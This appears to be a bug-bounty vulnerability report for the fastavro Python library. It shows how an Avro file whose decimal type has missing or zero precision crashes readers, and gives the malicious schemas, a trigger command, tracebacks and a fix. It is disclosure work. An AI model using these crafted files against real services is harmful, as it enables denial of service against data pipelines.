YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
fastavro decimal logical-type reader DoS β unhandled KeyError/ValueError on missing/zero precision
Target: fastavro β Python Avro library
Affected version tested: fastavro 1.12.2 (latest release at time of writing)
Vulnerability class: Uncaught exception / Denial of Service (CWE-248 Uncaught Exception, CWE-20 Improper Input Validation)
Attack vector: A crafted, structurally-valid Avro object-container file whose embedded writer schema declares a decimal logical type with a missing or zero precision attribute. Any application that decodes untrusted Avro with fastavro.reader() crashes with an uncaught exception.
Summary
fastavro's decimal logical-type reader trusts the precision value from the (attacker-controlled) writer schema embedded in the Avro container header, with no defensive validation at read time. The schema parser only validates precision under if precision:, so a decimal logicalType whose precision is missing (.get(...) β None, falsy) or explicitly 0 (falsy) passes schema-parse validation. When a record using that field is decoded, the logical-type dispatch invokes the reader with no surrounding try/except, so the exception propagates out of fastavro.reader() iteration and crashes the consuming application.
Two variants:
| Variant | Schema | Exception |
|---|---|---|
1 β missing precision |
{"type":"bytes","logicalType":"decimal","scale":2} |
KeyError: 'precision' |
2 β precision: 0 |
{"type":"bytes","logicalType":"decimal","precision":0,"scale":0} |
ValueError: valid range for prec is [1, MAX_PREC] |
Both the pure-Python and the C-extension read paths are affected.
Root cause
The reader trusts precision unconditionally
fastavro/_logical_readers_py.py (pure-Python), lines 51β60:
def read_decimal(data, writer_schema, reader_schema=None):
scale = writer_schema.get("scale", 0)
precision = writer_schema["precision"] # <-- KeyError if 'precision' absent
unscaled_datum = int.from_bytes(data, byteorder="big", signed=True)
with localcontext() as ctx:
ctx.prec = precision # <-- ValueError if precision == 0
scaled_datum = ctx.create_decimal(unscaled_datum).scaleb(-scale)
return scaled_datum
The C-extension fastavro/_logical_readers.pyx (lines 50β56) is the identical logic and is the path actually exercised by the shipped wheel:
File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
File "fastavro/_logical_readers.pyx", line 52, in fastavro._logical_readers.read_decimal # writer_schema["precision"]
...
File "fastavro/_logical_readers.pyx", line 56, in fastavro._logical_readers.read_decimal # ctx.prec = precision
- Variant 1:
writer_schema["precision"]is a raw subscript, not.get(). If the schema omitsprecision, this raisesKeyError: 'precision'. - Variant 2: Python's
decimal.Context.precsetter rejects0(valid range is[1, MAX_PREC]), raisingValueError.
The schema parser lets both through
fastavro/_schema_py.py, lines 439β445, validates precision only when it is truthy:
precision = schema.get("precision")
if precision and (precision < 1 or precision > MAX_PRECISION):
warnings.warn(...)
schema.get("precision") returns None when the key is absent, and an explicit 0 is falsy, so both missing and zero precision skip this validation entirely. The malformed logical type is accepted into the parsed writer schema that lives in the Avro container header.
No guard at dispatch time
fastavro/_read_py.py, lines 660β664, dispatches to the logical reader with no exception handling:
if 'logical_type' in writer_schema:
fn = LOGICAL_READERS.get(writer_schema['logical_type'])
if fn:
return fn(data, writer_schema, reader_schema) # <-- exception propagates to caller
The exception therefore escapes fastavro.reader() iteration into the application's read loop.
apache-avro is NOT affected the same way
Reference apache-avro 1.12.x emits an IgnoredLogicalType warning and falls back to reading raw bytes when the decimal logical type is invalid, so it does not crash. fastavro is the vulnerable target.
Proof of Concept
build_decimal.py constructs a minimal, structurally-valid Avro object-container by hand (magic Obj\x01, metadata map with avro.schema + avro.codec=null, 16-byte sync marker, one data block containing one record). No third-party encoder is used, so the container framing is fully attacker-controllable and reproducible.
The record declares a single bytes field d with logicalType: "decimal". The record's bytes value is b'\x00\x0a' (unscaled integer 10). Three files are produced:
dec_missing_precision.avroβ decimal logical type withprecisionomitteddec_precision0.avroβ decimal logical type withprecision: 0dec_valid.avroβ negative control,precision: 4, scale: 2
# excerpt β see build_decimal.py for full builder
schemaA = {"type":"record","name":"R","fields":[
{"name":"d","type":{"type":"bytes","logicalType":"decimal","scale":2}}]} # missing precision
schemaB = {"type":"record","name":"R","fields":[
{"name":"d","type":{"type":"bytes","logicalType":"decimal","precision":0,"scale":0}}]} # precision 0
schemaC = {"type":"record","name":"R","fields":[
{"name":"d","type":{"type":"bytes","logicalType":"decimal","precision":4,"scale":2}}]} # valid (control)
Trigger
import fastavro
list(fastavro.reader(open('dec_missing_precision.avro', 'rb')))
Captured evidence (verbatim, fastavro 1.12.2)
$ ./venv/bin/python3 -c "import fastavro; print('fastavro', fastavro.__version__); list(fastavro.reader(open('dec_missing_precision.avro','rb')))"
fastavro 1.12.2
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "fastavro/_read.pyx", line 974, in _iter_avro_records
File "fastavro/_read.pyx", line 780, in fastavro._read._read_data
File "fastavro/_read.pyx", line 654, in fastavro._read.read_record
File "fastavro/_read.pyx", line 802, in fastavro._read._read_data
File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
File "fastavro/_logical_readers.pyx", line 52, in fastavro._logical_readers.read_decimal
KeyError: 'precision'
--- variant 2 (precision:0) ---
File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
File "fastavro/_logical_readers.pyx", line 56, in fastavro._logical_readers.read_decimal
ValueError: valid range for prec is [1, MAX_PREC]
--- NEGATIVE CONTROL ---
dec_valid.avro -> [{'d': Decimal('0.10')}]
The negative control (dec_valid.avro, identical container layout, only precision=4 scale=2) reads cleanly as [{'d': Decimal('0.10')}], proving the hand-built container framing/encoder is correct and that only the precision defect triggers the crash.
Impact
Any service that decodes untrusted/third-party Avro object-container files or streams with fastavro (data pipelines, message consumers, file ingestion, ML feature stores) can be crashed by a single small crafted file (~196 bytes). The exception is not a well-typed, catchable Avro error β it is a bare KeyError/ValueError from deep inside the C-extension read path, so naive except handlers that only catch fastavro-specific exceptions will not contain it, and the read loop terminates. This is a denial-of-service primitive.
Suggested fix
At read time in read_decimal, use writer_schema.get("precision") and validate it (>= 1), or have the schema parser reject a decimal logical type whose precision is missing or < 1 instead of only validating under if precision:. Failing gracefully (as apache-avro does β warn and fall back to raw bytes) would also close the gap.
Dedup / novelty
Distinct from all other Avro findings by this researcher. Existing HF repos:
huntr-poc-avro-decompression-bombβ codec decompression bombhuntr-poc-avro-fastavro-recursion-dosβ deep recursion DoShuntr-poc-avro-blockcount-loop-dosβ block_count loop DoShuntr-poc-avro-logicaltype-datetime-overflow-dosβ DATETIME/timestampOverflowErroronly (zero decimal/precision overlap)
This is the decimal logical-type reader β a different code path (read_decimal vs read_timestamp_*), a different schema type (bytes/fixed decimal vs long timestamp), different exceptions (KeyError/ValueError vs OverflowError), and a different root cause (unvalidated precision reaching decimal.Context.prec vs unbounded microseconds reaching timedelta). No prior public or private repo covers it. No known CVE covers this specific missing/zero-precision decimal-reader crash in fastavro.